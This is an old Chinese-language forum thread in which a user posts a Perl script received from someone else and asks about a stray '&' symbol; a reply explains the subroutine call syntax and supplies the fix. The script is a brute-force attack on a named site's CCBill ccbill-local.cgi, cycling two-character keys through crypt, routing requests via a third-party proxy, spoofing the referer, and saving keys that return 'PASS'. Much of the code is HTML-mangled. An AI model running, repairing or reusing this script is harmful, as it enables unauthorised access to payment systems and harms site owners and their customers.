免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 3577 | 回复: 2
打印 上一主题 下一主题

高手帮忙2~ [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2003-03-20 22:26 |只看该作者 |倒序浏览
以下是前个问题的原代码,这是一个网友给的,可是我不懂在里面“&"符号的具体作用,一时也找不到资料,希望高手帮忙看看,好象是第24行的"&"有问题。是什么问题呢?
#! /user/bin/perl -w
use LWP::UserAgent;

my ($ua,$h,$sitename,$ht_file,$username,$request,$response,$verbose,$post_values,$private_key,$newkey,$line,$ifres,$f,$s,$second,$first);
$ua = LWP::UserAgent->;new();
$h = new HTTP::Headers;
$h->;user_agent('RPT-HTTPClient/0.3-3E');

$ua->;proxy( ['http', 'https'] ,'http://64.39.14.24:80/');
#$ua->;proxy( ['http', 'https'] ,'http://64.38.153.10:8000/');
#put the sitename here#################################################
$sitename = 'www.1by-day.com';
#commands:#############################################################

@first = ("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","","Q","R","S","T","U","V","W","X","Y","Z","1","2","3","4","5","6","7","8","9","0",".","/";
@second = ("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","","Q","R","S","T","U","V","W","X","Y","Z","1","2","3","4","5","6","7","8","9","0",".","/";

$f=0;
$s=0;
$username = "xxxzzz";

while ($s < 64) {  
&amp;
}

sub secon {

&amp;
$s=$s+1;
$f=0;
}

sub firs {
while ($f < 64) {

$private_key = "$first[$f]$second[$s]";
print $private_key, "\n";
$f=$f+1;

#$f=0;
#$s=$s+1;
#exit if $f == 3;

$verbose = "1";
$post_values="$username" . ":1";

$newkey = $private_key;
$line = "ASS".':'.$verbose.':'.$post_values;
@array = split(/:/,$line);

foreach $n (@array){
$newkey = crypt($n,reverse($newkey));
}


$request = HTTP::Request->;new('POST','http://'."$sitename".'/ccbill/ccbill-local.cgi',$h);
$request->;content_type('application/x-www-form-urlencoded');
$request->;content('cmd=PASS&amp;key='."$newkey".'&amp;post_values=' . "$username" . ':1&amp;verbose=1&amp;');
$request->;referer('http://64.38.153.10');

$response = $ua->;simple_request($request);

print $response->;header('location'),;# "\n";

if($response->;is_success()) {
#print $response->;content(), "\n";
#print $post_values;
} else { print "ERROR Code: "; print $response->;code(),
" Message: ", $response->;message(), "\n";
}


#open (SITES1, ">;>;$sitename.txt";
#print SITES1 "\n\n\n$sitename -- $cmd:\n\n";
#print SITES1 $response->;content(), "\n";
#close (SITES1);


#}
$ifres = $response->;content();
if ($ifres =~ m/PASS/) {
open (SITES1, ">;>;$sitename".'cc.txt');
print SITES1 "$private_key\n";
close (SITES1);
print $private_key, "\n";
print $response->;content(), "\n";
#print $post_values;
}
if ($ifres =~ m/acker/) {
open (SITES1, ">;>;$sitename".'cc.txt');
print SITES1 "$private_key\n";
close (SITES1);
print $private_key, "\n";
print $response->;content(), "\n";
#print $post_values;
}

}

}

论坛徽章:
1
荣誉会员
日期:2011-11-23 16:44:17
2 [报告]
发表于 2003-03-21 08:43 |只看该作者

高手帮忙2~

我前面說過了...他的&amp;符號有問題...
後面一定要跟subroutine的名稱..
如果要當成operator..像&amp;(AND)那樣..
前面也要有另一個expression...例如:
($x==1) &amp; ($y==2)......
我認為他少打了一些字串..可能是firs或secon..如果不是這些字串..
後面的subroutine定義就沒意義了...

while ($s < 64) {
&amp;secon;
}


sub secon {

&amp;firs;
$s=$s+1;
$f=0;
}

我認為是這樣子才對...

论坛徽章:
0
3 [报告]
发表于 2003-03-21 22:08 |只看该作者

高手帮忙2~

本来我的想法也和你的一样,这是别人发给我的。一开始还以为有直接 &amp; 这种用法呢。以为这个是缺省用法,默认的指向某个子程序。原来如此,呵呵~谢谢apile :)~
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP